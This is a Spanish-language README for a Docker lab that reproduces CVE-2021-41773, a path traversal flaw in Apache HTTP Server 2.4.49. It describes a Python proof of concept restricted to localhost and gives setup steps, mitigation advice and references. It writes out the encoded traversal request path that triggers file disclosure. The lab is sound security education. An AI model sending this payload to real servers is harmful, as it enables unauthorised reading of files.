
Laboratorio basado en Docker para reproducir CVE-2021-41773 (Apache HTTP Server 2.4.49) mediante path traversal controlado y divulgación de archivos usando un PoC personalizado en Python.
Reproducción de CVE-2021-41773, una vulnerabilidad de path traversal (recorrido de rutas) en Apache HTTP Server 2.4.49.
Este proyecto usa Docker para crear un entorno vulnerable aislado y un PoC en Python para demostrar la divulgación controlada de archivos.
Seguridad: El PoC solo acepta destinos
localhost,127.0.0.1o::1. Las pruebas deben permanecer dentro del laboratorio aislado.
Este proyecto demuestra:
La demostración se centra en la divulgación de archivos en lugar de la ejecución remota de código.
CVE-2021-41773-Apache-Lab/
│
├── docker/
│ ├── Dockerfile
│ ├── httpd-vulnerable.conf
│ └── secret.txt
│
├── exploit/
│ └── exploit.py
│
├── screenshots/
│ ├── 01-docker-container.png
│ ├── 02-apache-version.png
│ └── 03-successful-exploit.png
│
├── report/
│ └── CVE-2021-41773-Exploit-Report.pdf
│
├── requirements.txt
├── .gitignore
└── README.md
El PoC usa únicamente la biblioteca estándar de Python y no requiere paquetes de Python de terceros.
Desde la raíz del repositorio:
docker build -t cve-2021-41773-lab ./docker
docker run --rm --name cve-2021-41773-lab \
-p 127.0.0.1:8080:80 \
cve-2021-41773-lab
Mantén esta terminal en ejecución.
El servicio Apache se expone únicamente a través de:
127.0.0.1:8080
En otra terminal:
docker ps
El contenedor debería mostrar:
127.0.0.1:8080->80/tcp
docker exec cve-2021-41773-lab httpd -v
Resultado esperado:
Server version: Apache/2.4.49 (Unix)
curl http://127.0.0.1:8080/
Se debería devolver la página de prueba de Apache.
El PoC se encuentra en:
exploit/exploit.py
Ejecuta:
python3 exploit/exploit.py
El destino predeterminado es:
http://127.0.0.1:8080
El archivo de prueba predeterminado es:
/lab/secret.txt
Una ejecución exitosa produce:
[+] Vulnerability reproduced.
[+] Controlled file disclosure confirmed.
El PoC muestra entonces el contenido del archivo controlado del laboratorio.
El PoC primero comprueba que el destino sea una dirección local:
localhost
127.0.0.1
::1
Luego construye una ruta con componentes de traversal codificados:
/cgi-bin/.%2e/.%2e/.%2e/.%2e/lab/secret.txt
La solicitud se envía usando el módulo socket estándar de Python. Esto le da al PoC control directo sobre la ruta de la solicitud HTTP.
El servidor Apache 2.4.49 vulnerable procesa la ruta modificada y devuelve el contenido de:
/lab/secret.txt
Recuperar este archivo confirma el path traversal y la divulgación controlada de archivos.
CVE: CVE-2021-41773
Producto: Apache HTTP Server
Versión afectada demostrada: 2.4.49
Tipo de vulnerabilidad: Path Traversal / Divulgación de archivos
CVE-2021-41773 es una vulnerabilidad de path traversal en Apache HTTP Server 2.4.49. Una URL especialmente manipulada puede omitir las restricciones de ruta previstas y permitir el acceso a archivos fuera del directorio esperado.
Bajo ciertas configuraciones, la vulnerabilidad puede tener consecuencias más graves. Este proyecto demuestra deliberadamente la divulgación controlada de archivos en un entorno Docker aislado.
Las capturas de pantalla recopiladas durante las pruebas se guardan en:
evidence/
La evidencia incluye:
La mitigación principal es actualizar Apache HTTP Server a una versión corregida.
Medidas defensivas adicionales:
Apache HTTP Server Security Advisory: https://httpd.apache.org/security/vulnerabilities_24.html
NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2021-41773
CERT-EU Security Advisory: https://cert.europa.eu/publications/security-advisories/2021-054/
Este proyecto está destinado únicamente a la educación en seguridad autorizada y a pruebas controladas de laboratorio.
El entorno Docker y el PoC están diseñados para pruebas locales. No uses el PoC contra sistemas que no te pertenezcan o para los que no tengas permiso explícito de evaluar.